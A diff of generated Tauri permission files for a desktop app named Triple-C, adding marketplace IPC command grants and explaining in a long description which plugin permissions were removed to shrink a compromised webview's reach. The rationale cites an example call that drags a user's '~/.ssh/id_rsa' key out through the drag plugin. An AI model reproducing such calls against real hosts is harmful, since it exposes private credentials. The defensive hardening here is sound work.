+  "description": "Default capabilities for Triple-C. Every entry here is an IPC command a compromised webview can call directly, so the set is an enumeration of what `app/src` actually invokes — plugin and core grants verified against tauri 2.11.0's `PLUGINS` table in tauri's own `build.rs` rather than assumed from a plugin's `default` set, app-command grants (the bare `allow-*` entries) cross-checked by this crate's `build.rs` against `generate_handler!`. `core:default` in particular is NOT used: it is an alias for `core:{path,event,window,webview,app,image,resources,menu,tray}:default`, and `core:image:default` carries `allow-from-path`, whose handler (`tauri-2.11.0/src/image/plugin.rs:41` → `src/image/mod.rs:96`) is a bare `std::fs::read(path)` with no scope mechanism of any kind. Nothing imports `@tauri-apps/api/image`, so the whole plugin is dropped rather than scoped — there is nothing to scope it with. `core:menu` and `core:tray` are dropped for the same reason (no menu, no tray icon); `core:window` and `core:path` because nothing imports them; `core:resources:allow-close` because no frontend value is a `Resource`; and `core:event`'s `allow-emit`/`allow-emit-to` because the frontend only ever *listens* — every emit in this app originates in Rust. Three notes on what is deliberately kept or accepted: (1) `core:webview:allow-internal-toggle-devtools` is not called by `app/src` at all — it is called by Tauri's own injected `toggle-devtools.js`, which binds Ctrl/Cmd+Shift+I. Both that script and the command behind it are `#[cfg(any(debug_assertions, feature = \"devtools\"))]`, so this grant is a `tauri dev` convenience that does not exist in a release bundle. (2) `opener:allow-open-url` is **gone**. It could not be narrowed by host — `TerminalView`'s `WebLinksAddon` opens links Claude printed inside the container, which are arbitrary by construction, so a host allowlist would have deleted the feature rather than bounded it — and it was carried here as an accepted residual risk: a compromised webview could make the OS open an attacker-chosen http(s) URL, an outbound channel. That risk is now closed rather than recorded. Every host-browser open in the app goes through the `open_url_external` command in `url_open.rs`, which exists because the AppImage environment leaks into a cold-launched browser on Linux (triple-c#34) and which re-validates the URL in Rust — scheme allowlist, no embedded credentials, no control characters, length cap, ASCII asserted before `execvp`. On macOS and Windows that command reaches the same plugin as before, via `OpenerExt::open_url`, whose desktop implementation calls `crate::open::open` directly and is therefore not gated by this file at all (`tauri-plugin-opener-2.5.3/src/lib.rs:60`). The plugin stays a dependency for exactly that reason; what is removed is the webview's ability to reach it without passing the Rust validation. (3) `drag:allow-start-drag` is **gone**, together with the OS drag-out it existed for. It could not be scoped — `tauri-plugin-drag` takes the item paths from the caller and has no scope mechanism, so a compromised webview could call `startDrag({ item: ['~/.ssh/id_rsa'] })` against any host path the user can read — and it was carried as an accepted residual risk for one gesture. Drag-out was held back for separate hardening (see branch `hold/disk-and-dragout`) and the plugin is no longer a dependency. Getting a file *out* of a container is either \"Back up container\" on the project's Overview tab, which archives a tree through the Docker API, or the Files tab's per-row \"Save to host…\", which copies one file; getting one *in* is a drop on the Terminal or the Files tab's \"Upload…\". None of the four touches this permission. The Files tab's two are worth separating out here, because they are the only host-path commands in the app whose dialog is opened by **Rust** rather than by the webview — `pick_save_path` and `pick_files_to_upload` in `commands/file_commands.rs` drive `tauri-plugin-dialog` from the backend, so a compromised webview can ask for a picker and nothing more: it cannot name a host path as an *input* to either command. Be precise about the limit of that claim — host paths do still travel outward in error text (`Failed to create /home/j/Documents/x.txt.triple-c-part-1a2b3c4d: Permission denied`), including canonicalized ones, which disclose symlink targets. That is accepted; the app already hands the webview the project paths. What is closed is the direction that mattered — the webview naming where bytes go. That is the shape an earlier revision of this file named as the honest one if the Files tab ever regained host I/O, and it is the shape it regained it in. The `dialog:allow-open` / `dialog:allow-save` grants below are therefore *not* what those two use; they remain for the frontend pickers in Add Project, the Config tab's workspace and access sections, the CA-certificate field and Backup. Two commands stillLine truncated
   "windows": ["main"],
   "permissions": [
     "core:event:allow-listen",
@@ -107,7 +107,6 @@
     "allow-get-gateway-auth-token",
     "allow-regenerate-gateway-auth-token",
     "allow-list-claude-sessions",
-    "allow-resume-session-command",
     "allow-list-container-capabilities",
     "allow-list-scheduled-tasks",
     "allow-add-scheduled-task",
@@ -117,6 +116,27 @@
     "allow-run-scheduled-task-now",
     "allow-remove-scheduled-task",
     "allow-get-scheduler-notifications",
-    "allow-clear-scheduler-notifications"
+    "allow-clear-scheduler-notifications",
+    "allow-list-marketplace-snapshots",
+    "allow-refresh-marketplaces",
+    "allow-add-marketplace",
+    "allow-update-marketplace",
+    "allow-remove-marketplace",
+    "allow-install-marketplace-item",
+    "allow-uninstall-marketplace-item",
+    "allow-set-global-item-disabled",
+    "allow-forget-marketplace-installs",
+    "allow-list-marketplace-updates",
+    "allow-marketplace-item-diff",
+    "allow-update-marketplace-item",
+    "allow-apply-marketplace-now",
+    "allow-get-marketplace-sync-report",
+    "allow-add-marketplace-token-account",
+    "allow-add-marketplace-gh-host-account",
+    "allow-start-marketplace-gh-container-login",
+    "allow-cancel-marketplace-gh-login",
+    "allow-test-marketplace-account",
+    "allow-remove-marketplace-account",
+    "allow-marketplace-gh-host-available"
   ]
 }

app/src-tauri/gen/schemas/acl-manifests.json

@@ -1 +1 @@
-{"__app-acl__":{"default_permission":null,"permissions":{"allow-acquire-claude-token":{"identifier":"allow-acquire-claude-token","description":"Enables the acquire_claude_token command without any pre-configured scope.","commands":{"allow":["acquire_claude_token"],"deny":[]}},"allow-add-project":{"identifier":"allow-add-project","description":"Enables the add_project command without any pre-configured scope.","commands":{"allow":["add_project"],"deny":[]}},"allow-add-scheduled-task":{"identifier":"allow-add-scheduled-task","description":"Enables the add_scheduled_task command without any pre-configured scope.","commands":{"allow":["add_scheduled_task"],"deny":[]}},"allow-apply-settings-import":{"identifier":"allow-apply-settings-import","description":"Enables the apply_settings_import command without any pre-configured scope.","commands":{"allow":["apply_settings_import"],"deny":[]}},"allow-aws-sso-refresh":{"identifier":"allow-aws-sso-refresh","description":"Enables the aws_sso_refresh command without any pre-configured scope.","commands":{"allow":["aws_sso_refresh"],"deny":[]}},"allow-build-gateway-image":{"identifier":"allow-build-gateway-image","description":"Enables the build_gateway_image command without any pre-configured scope.","commands":{"allow":["build_gateway_image"],"deny":[]}},"allow-build-image":{"identifier":"allow-build-image","description":"Enables the build_image command without any pre-configured scope.","commands":{"allow":["build_image"],"deny":[]}},"allow-build-stt-image":{"identifier":"allow-build-stt-image","description":"Enables the build_stt_image command without any pre-configured scope.","commands":{"allow":["build_stt_image"],"deny":[]}},"allow-cancel-claude-token":{"identifier":"allow-cancel-claude-token","description":"Enables the cancel_claude_token command without any pre-configured scope.","commands":{"allow":["cancel_claude_token"],"deny":[]}},"allow-check-browser-view-support":{"identifier":"allow-check-browser-view-support","description":"Enables the check_browser_view_support command without any pre-configured scope.","commands":{"allow":["check_browser_view_support"],"deny":[]}},"allow-check-docker":{"identifier":"allow-check-docker","description":"Enables the check_docker command without any pre-configured scope.","commands":{"allow":["check_docker"],"deny":[]}},"allow-check-for-updates":{"identifier":"allow-check-for-updates","description":"Enables the check_for_updates command without any pre-configured scope.","commands":{"allow":["check_for_updates"],"deny":[]}},"allow-check-gateway-health":{"identifier":"allow-check-gateway-health","description":"Enables the check_gateway_health command without any pre-configured scope.","commands":{"allow":["check_gateway_health"],"deny":[]}},"allow-check-image-exists":{"identifier":"allow-check-image-exists","description":"Enables the check_image_exists command without any pre-configured scope.","commands":{"allow":["check_image_exists"],"deny":[]}},"allow-check-image-update":{"identifier":"allow-check-image-update","description":"Enables the check_image_update command without any pre-configured scope.","commands":{"allow":["check_image_update"],"deny":[]}},"allow-clear-claude-token":{"identifier":"allow-clear-claude-token","description":"Enables the clear_claude_token command without any pre-configured scope.","commands":{"allow":["clear_claude_token"],"deny":[]}},"allow-clear-gateway-api-key":{"identifier":"allow-clear-gateway-api-key","description":"Enables the clear_gateway_api_key command without any pre-configured scope.","commands":{"allow":["clear_gateway_api_key"],"deny":[]}},"allow-clear-scheduler-notifications":{"identifier":"allow-clear-scheduler-notifications","description":"Enables the clear_scheduler_notifications command without any pre-configured scope.","commands":{"allow":["clear_scheduler_notifications"],"deny":[]}},"allow-close-browser-view-popout":{"identifier":"allow-close-browser-view-popout","description":"Enables the close_browser_view_popout command without any pre-configured scope.","commands":{"allow":["close_browser_view_popout"],"deny":[]}},"allow-close-container-page":{"identifier":"allow-close-container-page","description":"Enables the close_container_page command without any pre-configured scope.","commands":{"allow":["close_container_page"],"deny":[]}},"allow-close-terminal-session":{"identifier":"allow-close-terminal-session","description":"Enables the close_terminal_session command without any pre-configured scope.","commands":{"allow":["close_terminal_session"],"deny":[]}},"allow-confirm-migration":{"identifier":"allow-confirm-migration","description":"Enables the confirm_migration command without any pre-configured scope.","commands":{"allow":["confirm_migration"],"deny":[]}},"allow-create-container-directory":{"identifier":"allow-create-container-directory","description":"Enables the create_container_directory command without any pre-configured scope.","commands":{"allow":["create_contLine truncated
+{"__app-acl__":{"default_permission":null,"permissions":{"allow-acquire-claude-token":{"identifier":"allow-acquire-claude-token","description":"Enables the acquire_claude_token command without any pre-configured scope.","commands":{"allow":["acquire_claude_token"],"deny":[]}},"allow-add-marketplace":{"identifier":"allow-add-marketplace","description":"Enables the add_marketplace command without any pre-configured scope.","commands":{"allow":["add_marketplace"],"deny":[]}},"allow-add-marketplace-gh-host-account":{"identifier":"allow-add-marketplace-gh-host-account","description":"Enables the add_marketplace_gh_host_account command without any pre-configured scope.","commands":{"allow":["add_marketplace_gh_host_account"],"deny":[]}},"allow-add-marketplace-token-account":{"identifier":"allow-add-marketplace-token-account","description":"Enables the add_marketplace_token_account command without any pre-configured scope.","commands":{"allow":["add_marketplace_token_account"],"deny":[]}},"allow-add-project":{"identifier":"allow-add-project","description":"Enables the add_project command without any pre-configured scope.","commands":{"allow":["add_project"],"deny":[]}},"allow-add-scheduled-task":{"identifier":"allow-add-scheduled-task","description":"Enables the add_scheduled_task command without any pre-configured scope.","commands":{"allow":["add_scheduled_task"],"deny":[]}},"allow-apply-marketplace-now":{"identifier":"allow-apply-marketplace-now","description":"Enables the apply_marketplace_now command without any pre-configured scope.","commands":{"allow":["apply_marketplace_now"],"deny":[]}},"allow-apply-settings-import":{"identifier":"allow-apply-settings-import","description":"Enables the apply_settings_import command without any pre-configured scope.","commands":{"allow":["apply_settings_import"],"deny":[]}},"allow-aws-sso-refresh":{"identifier":"allow-aws-sso-refresh","description":"Enables the aws_sso_refresh command without any pre-configured scope.","commands":{"allow":["aws_sso_refresh"],"deny":[]}},"allow-build-gateway-image":{"identifier":"allow-build-gateway-image","description":"Enables the build_gateway_image command without any pre-configured scope.","commands":{"allow":["build_gateway_image"],"deny":[]}},"allow-build-image":{"identifier":"allow-build-image","description":"Enables the build_image command without any pre-configured scope.","commands":{"allow":["build_image"],"deny":[]}},"allow-build-stt-image":{"identifier":"allow-build-stt-image","description":"Enables the build_stt_image command without any pre-configured scope.","commands":{"allow":["build_stt_image"],"deny":[]}},"allow-cancel-claude-token":{"identifier":"allow-cancel-claude-token","description":"Enables the cancel_claude_token command without any pre-configured scope.","commands":{"allow":["cancel_claude_token"],"deny":[]}},"allow-cancel-marketplace-gh-login":{"identifier":"allow-cancel-marketplace-gh-login","description":"Enables the cancel_marketplace_gh_login command without any pre-configured scope.","commands":{"allow":["cancel_marketplace_gh_login"],"deny":[]}},"allow-check-browser-view-support":{"identifier":"allow-check-browser-view-support","description":"Enables the check_browser_view_support command without any pre-configured scope.","commands":{"allow":["check_browser_view_support"],"deny":[]}},"allow-check-docker":{"identifier":"allow-check-docker","description":"Enables the check_docker command without any pre-configured scope.","commands":{"allow":["check_docker"],"deny":[]}},"allow-check-for-updates":{"identifier":"allow-check-for-updates","description":"Enables the check_for_updates command without any pre-configured scope.","commands":{"allow":["check_for_updates"],"deny":[]}},"allow-check-gateway-health":{"identifier":"allow-check-gateway-health","description":"Enables the check_gateway_health command without any pre-configured scope.","commands":{"allow":["check_gateway_health"],"deny":[]}},"allow-check-image-exists":{"identifier":"allow-check-image-exists","description":"Enables the check_image_exists command without any pre-configured scope.","commands":{"allow":["check_image_exists"],"deny":[]}},"allow-check-image-update":{"identifier":"allow-check-image-update","description":"Enables the check_image_update command without any pre-configured scope.","commands":{"allow":["check_image_update"],"deny":[]}},"allow-clear-claude-token":{"identifier":"allow-clear-claude-token","description":"Enables the clear_claude_token command without any pre-configured scope.","commands":{"allow":["clear_claude_token"],"deny":[]}},"allow-clear-gateway-api-key":{"identifier":"allow-clear-gateway-api-key","description":"Enables the clear_gateway_api_key command without any pre-configured scope.","commands":{"allow":["clear_gateway_api_key"],"deny":[]}},"allow-clear-scheduler-notifications":{"identifier":"allow-clear-scheduler-notifications","description":"Enables the clear_scheduler_notifications command without any pre-conLine truncated

app/src-tauri/gen/schemas/capabilities.json

@@ -1 +1 @@
-{"default":{"identifier":"default","description":"Default capabilities for Triple-C. Every entry here is an IPC command a compromised webview can call directly, so the set is an enumeration of what `app/src` actually invokes — plugin and core grants verified against tauri 2.11.0's `PLUGINS` table in tauri's own `build.rs` rather than assumed from a plugin's `default` set, app-command grants (the bare `allow-*` entries) cross-checked by this crate's `build.rs` against `generate_handler!`. `core:default` in particular is NOT used: it is an alias for `core:{path,event,window,webview,app,image,resources,menu,tray}:default`, and `core:image:default` carries `allow-from-path`, whose handler (`tauri-2.11.0/src/image/plugin.rs:41` → `src/image/mod.rs:96`) is a bare `std::fs::read(path)` with no scope mechanism of any kind. Nothing imports `@tauri-apps/api/image`, so the whole plugin is dropped rather than scoped — there is nothing to scope it with. `core:menu` and `core:tray` are dropped for the same reason (no menu, no tray icon); `core:window` and `core:path` because nothing imports them; `core:resources:allow-close` because no frontend value is a `Resource`; and `core:event`'s `allow-emit`/`allow-emit-to` because the frontend only ever *listens* — every emit in this app originates in Rust. Three notes on what is deliberately kept or accepted: (1) `core:webview:allow-internal-toggle-devtools` is not called by `app/src` at all — it is called by Tauri's own injected `toggle-devtools.js`, which binds Ctrl/Cmd+Shift+I. Both that script and the command behind it are `#[cfg(any(debug_assertions, feature = \"devtools\"))]`, so this grant is a `tauri dev` convenience that does not exist in a release bundle. (2) `opener:allow-open-url` is **gone**. It could not be narrowed by host — `TerminalView`'s `WebLinksAddon` opens links Claude printed inside the container, which are arbitrary by construction, so a host allowlist would have deleted the feature rather than bounded it — and it was carried here as an accepted residual risk: a compromised webview could make the OS open an attacker-chosen http(s) URL, an outbound channel. That risk is now closed rather than recorded. Every host-browser open in the app goes through the `open_url_external` command in `url_open.rs`, which exists because the AppImage environment leaks into a cold-launched browser on Linux (triple-c#34) and which re-validates the URL in Rust — scheme allowlist, no embedded credentials, no control characters, length cap, ASCII asserted before `execvp`. On macOS and Windows that command reaches the same plugin as before, via `OpenerExt::open_url`, whose desktop implementation calls `crate::open::open` directly and is therefore not gated by this file at all (`tauri-plugin-opener-2.5.3/src/lib.rs:60`). The plugin stays a dependency for exactly that reason; what is removed is the webview's ability to reach it without passing the Rust validation. (3) `drag:allow-start-drag` is **gone**, together with the OS drag-out it existed for. It could not be scoped — `tauri-plugin-drag` takes the item paths from the caller and has no scope mechanism, so a compromised webview could call `startDrag({ item: ['~/.ssh/id_rsa'] })` against any host path the user can read — and it was carried as an accepted residual risk for one gesture. Drag-out was held back for separate hardening (see branch `hold/disk-and-dragout`) and the plugin is no longer a dependency. Getting a file *out* of a container is either \"Back up container\" on the project's Overview tab, which archives a tree through the Docker API, or the Files tab's per-row \"Save to host…\", which copies one file; getting one *in* is a drop on the Terminal or the Files tab's \"Upload…\". None of the four touches this permission. The Files tab's two are worth separating out here, because they are the only host-path commands in the app whose dialog is opened by **Rust** rather than by the webview — `pick_save_path` and `pick_files_to_upload` in `commands/file_commands.rs` drive `tauri-plugin-dialog` from the backend, so a compromised webview can ask for a picker and nothing more: it cannot name a host path as an *input* to either command. Be precise about the limit of that claim — host paths do still travel outward in error text (`Failed to create /home/j/Documents/x.txt.triple-c-part-1a2b3c4d: Permission denied`), including canonicalized ones, which disclose symlink targets. That is accepted; the app already hands the webview the project paths. What is closed is the direction that mattered — the webview naming where bytes go. That is the shape an earlier revision of this file named as the honest one if the Files tab ever regained host I/O, and it is the shape it regained it in. The `dialog:allow-open` / `dialog:allow-save` grants below are therefore *not* what those two use; they remain for the frontend pickers in Add Project, the Config tab's workspace and access sections, the CA-certificate fielLine truncated
+{"default":{"identifier":"default","description":"Default capabilities for Triple-C. Every entry here is an IPC command a compromised webview can call directly, so the set is an enumeration of what `app/src` actually invokes — plugin and core grants verified against tauri 2.11.0's `PLUGINS` table in tauri's own `build.rs` rather than assumed from a plugin's `default` set, app-command grants (the bare `allow-*` entries) cross-checked by this crate's `build.rs` against `generate_handler!`. `core:default` in particular is NOT used: it is an alias for `core:{path,event,window,webview,app,image,resources,menu,tray}:default`, and `core:image:default` carries `allow-from-path`, whose handler (`tauri-2.11.0/src/image/plugin.rs:41` → `src/image/mod.rs:96`) is a bare `std::fs::read(path)` with no scope mechanism of any kind. Nothing imports `@tauri-apps/api/image`, so the whole plugin is dropped rather than scoped — there is nothing to scope it with. `core:menu` and `core:tray` are dropped for the same reason (no menu, no tray icon); `core:window` and `core:path` because nothing imports them; `core:resources:allow-close` because no frontend value is a `Resource`; and `core:event`'s `allow-emit`/`allow-emit-to` because the frontend only ever *listens* — every emit in this app originates in Rust. Three notes on what is deliberately kept or accepted: (1) `core:webview:allow-internal-toggle-devtools` is not called by `app/src` at all — it is called by Tauri's own injected `toggle-devtools.js`, which binds Ctrl/Cmd+Shift+I. Both that script and the command behind it are `#[cfg(any(debug_assertions, feature = \"devtools\"))]`, so this grant is a `tauri dev` convenience that does not exist in a release bundle. (2) `opener:allow-open-url` is **gone**. It could not be narrowed by host — `TerminalView`'s `WebLinksAddon` opens links Claude printed inside the container, which are arbitrary by construction, so a host allowlist would have deleted the feature rather than bounded it — and it was carried here as an accepted residual risk: a compromised webview could make the OS open an attacker-chosen http(s) URL, an outbound channel. That risk is now closed rather than recorded. Every host-browser open in the app goes through the `open_url_external` command in `url_open.rs`, which exists because the AppImage environment leaks into a cold-launched browser on Linux (triple-c#34) and which re-validates the URL in Rust — scheme allowlist, no embedded credentials, no control characters, length cap, ASCII asserted before `execvp`. On macOS and Windows that command reaches the same plugin as before, via `OpenerExt::open_url`, whose desktop implementation calls `crate::open::open` directly and is therefore not gated by this file at all (`tauri-plugin-opener-2.5.3/src/lib.rs:60`). The plugin stays a dependency for exactly that reason; what is removed is the webview's ability to reach it without passing the Rust validation. (3) `drag:allow-start-drag` is **gone**, together with the OS drag-out it existed for. It could not be scoped — `tauri-plugin-drag` takes the item paths from the caller and has no scope mechanism, so a compromised webview could call `startDrag({ item: ['~/.ssh/id_rsa'] })` against any host path the user can read — and it was carried as an accepted residual risk for one gesture. Drag-out was held back for separate hardening (see branch `hold/disk-and-dragout`) and the plugin is no longer a dependency. Getting a file *out* of a container is either \"Back up container\" on the project's Overview tab, which archives a tree through the Docker API, or the Files tab's per-row \"Save to host…\", which copies one file; getting one *in* is a drop on the Terminal or the Files tab's \"Upload…\". None of the four touches this permission. The Files tab's two are worth separating out here, because they are the only host-path commands in the app whose dialog is opened by **Rust** rather than by the webview — `pick_save_path` and `pick_files_to_upload` in `commands/file_commands.rs` drive `tauri-plugin-dialog` from the backend, so a compromised webview can ask for a picker and nothing more: it cannot name a host path as an *input* to either command. Be precise about the limit of that claim — host paths do still travel outward in error text (`Failed to create /home/j/Documents/x.txt.triple-c-part-1a2b3c4d: Permission denied`), including canonicalized ones, which disclose symlink targets. That is accepted; the app already hands the webview the project paths. What is closed is the direction that mattered — the webview naming where bytes go. That is the shape an earlier revision of this file named as the honest one if the Files tab ever regained host I/O, and it is the shape it regained it in. The `dialog:allow-open` / `dialog:allow-save` grants below are therefore *not* what those two use; they remain for the frontend pickers in Add Project, the Config tab's workspace and access sections, the CA-certificate fielLine truncated

app/src-tauri/gen/schemas/desktop-schema.json

@@ -350,6 +350,24 @@
           "const": "allow-acquire-claude-token",
           "markdownDescription": "Enables the acquire_claude_token command without any pre-configured scope."
         },
+        {
+          "description": "Enables the add_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-add-marketplace",
+          "markdownDescription": "Enables the add_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the add_marketplace_gh_host_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-add-marketplace-gh-host-account",
+          "markdownDescription": "Enables the add_marketplace_gh_host_account command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the add_marketplace_token_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-add-marketplace-token-account",
+          "markdownDescription": "Enables the add_marketplace_token_account command without any pre-configured scope."
+        },
         {
           "description": "Enables the add_project command without any pre-configured scope.",
           "type": "string",
@@ -362,6 +380,12 @@
           "const": "allow-add-scheduled-task",
           "markdownDescription": "Enables the add_scheduled_task command without any pre-configured scope."
         },
+        {
+          "description": "Enables the apply_marketplace_now command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-apply-marketplace-now",
+          "markdownDescription": "Enables the apply_marketplace_now command without any pre-configured scope."
+        },
         {
           "description": "Enables the apply_settings_import command without any pre-configured scope.",
           "type": "string",
@@ -398,6 +422,12 @@
           "const": "allow-cancel-claude-token",
           "markdownDescription": "Enables the cancel_claude_token command without any pre-configured scope."
         },
+        {
+          "description": "Enables the cancel_marketplace_gh_login command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-cancel-marketplace-gh-login",
+          "markdownDescription": "Enables the cancel_marketplace_gh_login command without any pre-configured scope."
+        },
         {
           "description": "Enables the check_browser_view_support command without any pre-configured scope.",
           "type": "string",
@@ -524,6 +554,12 @@
           "const": "allow-export-settings",
           "markdownDescription": "Enables the export_settings command without any pre-configured scope."
         },
+        {
+          "description": "Enables the forget_marketplace_installs command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-forget-marketplace-installs",
+          "markdownDescription": "Enables the forget_marketplace_installs command without any pre-configured scope."
+        },
         {
           "description": "Enables the get_app_version command without any pre-configured scope.",
           "type": "string",
@@ -590,6 +626,12 @@
           "const": "allow-get-help-content",
           "markdownDescription": "Enables the get_help_content command without any pre-configured scope."
         },
+        {
+          "description": "Enables the get_marketplace_sync_report command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-get-marketplace-sync-report",
+          "markdownDescription": "Enables the get_marketplace_sync_report command without any pre-configured scope."
+        },
         {
           "description": "Enables the get_migration_state command without any pre-configured scope.",
           "type": "string",
@@ -650,6 +692,12 @@
           "const": "allow-install-browser-view-support",
           "markdownDescription": "Enables the install_browser_view_support command without any pre-configured scope."
         },
+        {
+          "description": "Enables the install_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-install-marketplace-item",
+          "markdownDescription": "Enables the install_marketplace_item command without any pre-configured scope."
+        },
         {
           "description": "Enables the list_aws_profiles command without any pre-configured scope.",
           "type": "string",
@@ -674,6 +722,18 @@
           "const": "allow-list-container-files",
           "markdownDescription": "Enables the list_container_files command without any pre-configured scope."
         },
+        {
+          "description": "Enables the list_marketplace_snapshots command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-list-marketplace-snapshots",
+          "markdownDescription": "Enables the list_marketplace_snapshots command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the list_marketplace_updates command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-list-marketplace-updates",
+          "markdownDescription": "Enables the list_marketplace_updates command without any pre-configured scope."
+        },
         {
           "description": "Enables the list_notes command without any pre-configured scope.",
           "type": "string",
@@ -692,6 +752,18 @@
           "const": "allow-list-scheduled-tasks",
           "markdownDescription": "Enables the list_scheduled_tasks command without any pre-configured scope."
         },
+        {
+          "description": "Enables the marketplace_gh_host_available command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-marketplace-gh-host-available",
+          "markdownDescription": "Enables the marketplace_gh_host_available command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the marketplace_item_diff command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-marketplace-item-diff",
+          "markdownDescription": "Enables the marketplace_item_diff command without any pre-configured scope."
+        },
         {
           "description": "Enables the migrate_project_to_base command without any pre-configured scope.",
           "type": "string",
@@ -776,6 +848,12 @@
           "const": "allow-reconcile-project-statuses",
           "markdownDescription": "Enables the reconcile_project_statuses command without any pre-configured scope."
         },
+        {
+          "description": "Enables the refresh_marketplaces command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-refresh-marketplaces",
+          "markdownDescription": "Enables the refresh_marketplaces command without any pre-configured scope."
+        },
         {
           "description": "Enables the regenerate_gateway_auth_token command without any pre-configured scope.",
           "type": "string",
@@ -788,6 +866,18 @@
           "const": "allow-regenerate-web-terminal-token",
           "markdownDescription": "Enables the regenerate_web_terminal_token command without any pre-configured scope."
         },
+        {
+          "description": "Enables the remove_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-remove-marketplace",
+          "markdownDescription": "Enables the remove_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the remove_marketplace_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-remove-marketplace-account",
+          "markdownDescription": "Enables the remove_marketplace_account command without any pre-configured scope."
+        },
         {
           "description": "Enables the remove_project command without any pre-configured scope.",
           "type": "string",
@@ -806,12 +896,6 @@
           "const": "allow-rename-container-path",
           "markdownDescription": "Enables the rename_container_path command without any pre-configured scope."
         },
-        {
-          "description": "Enables the resume_session_command command without any pre-configured scope.",
-          "type": "string",
-          "const": "allow-resume-session-command",
-          "markdownDescription": "Enables the resume_session_command command without any pre-configured scope."
-        },
         {
           "description": "Enables the rollback_migration command without any pre-configured scope.",
           "type": "string",
@@ -878,6 +962,12 @@
           "const": "allow-set-gateway-api-key",
           "markdownDescription": "Enables the set_gateway_api_key command without any pre-configured scope."
         },
+        {
+          "description": "Enables the set_global_item_disabled command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-set-global-item-disabled",
+          "markdownDescription": "Enables the set_global_item_disabled command without any pre-configured scope."
+        },
         {
           "description": "Enables the set_scheduled_task_enabled command without any pre-configured scope.",
           "type": "string",
@@ -896,6 +986,12 @@
           "const": "allow-start-gateway",
           "markdownDescription": "Enables the start_gateway command without any pre-configured scope."
         },
+        {
+          "description": "Enables the start_marketplace_gh_container_login command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-start-marketplace-gh-container-login",
+          "markdownDescription": "Enables the start_marketplace_gh_container_login command without any pre-configured scope."
+        },
         {
           "description": "Enables the start_project_container command without any pre-configured scope.",
           "type": "string",
@@ -968,12 +1064,36 @@
           "const": "allow-terminal-resize",
           "markdownDescription": "Enables the terminal_resize command without any pre-configured scope."
         },
+        {
+          "description": "Enables the test_marketplace_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-test-marketplace-account",
+          "markdownDescription": "Enables the test_marketplace_account command without any pre-configured scope."
+        },
         {
           "description": "Enables the transcribe_audio command without any pre-configured scope.",
           "type": "string",
           "const": "allow-transcribe-audio",
           "markdownDescription": "Enables the transcribe_audio command without any pre-configured scope."
         },
+        {
+          "description": "Enables the uninstall_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-uninstall-marketplace-item",
+          "markdownDescription": "Enables the uninstall_marketplace_item command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the update_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-update-marketplace",
+          "markdownDescription": "Enables the update_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the update_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-update-marketplace-item",
+          "markdownDescription": "Enables the update_marketplace_item command without any pre-configured scope."
+        },
         {
           "description": "Enables the update_project command without any pre-configured scope.",
           "type": "string",
@@ -1040,6 +1160,24 @@
           "const": "deny-acquire-claude-token",
           "markdownDescription": "Denies the acquire_claude_token command without any pre-configured scope."
         },
+        {
+          "description": "Denies the add_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-add-marketplace",
+          "markdownDescription": "Denies the add_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the add_marketplace_gh_host_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-add-marketplace-gh-host-account",
+          "markdownDescription": "Denies the add_marketplace_gh_host_account command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the add_marketplace_token_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-add-marketplace-token-account",
+          "markdownDescription": "Denies the add_marketplace_token_account command without any pre-configured scope."
+        },
         {
           "description": "Denies the add_project command without any pre-configured scope.",
           "type": "string",
@@ -1052,6 +1190,12 @@
           "const": "deny-add-scheduled-task",
           "markdownDescription": "Denies the add_scheduled_task command without any pre-configured scope."
         },
+        {
+          "description": "Denies the apply_marketplace_now command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-apply-marketplace-now",
+          "markdownDescription": "Denies the apply_marketplace_now command without any pre-configured scope."
+        },
         {
           "description": "Denies the apply_settings_import command without any pre-configured scope.",
           "type": "string",
@@ -1088,6 +1232,12 @@
           "const": "deny-cancel-claude-token",
           "markdownDescription": "Denies the cancel_claude_token command without any pre-configured scope."
         },
+        {
+          "description": "Denies the cancel_marketplace_gh_login command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-cancel-marketplace-gh-login",
+          "markdownDescription": "Denies the cancel_marketplace_gh_login command without any pre-configured scope."
+        },
         {
           "description": "Denies the check_browser_view_support command without any pre-configured scope.",
           "type": "string",
@@ -1214,6 +1364,12 @@
           "const": "deny-export-settings",
           "markdownDescription": "Denies the export_settings command without any pre-configured scope."
         },
+        {
+          "description": "Denies the forget_marketplace_installs command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-forget-marketplace-installs",
+          "markdownDescription": "Denies the forget_marketplace_installs command without any pre-configured scope."
+        },
         {
           "description": "Denies the get_app_version command without any pre-configured scope.",
           "type": "string",
@@ -1280,6 +1436,12 @@
           "const": "deny-get-help-content",
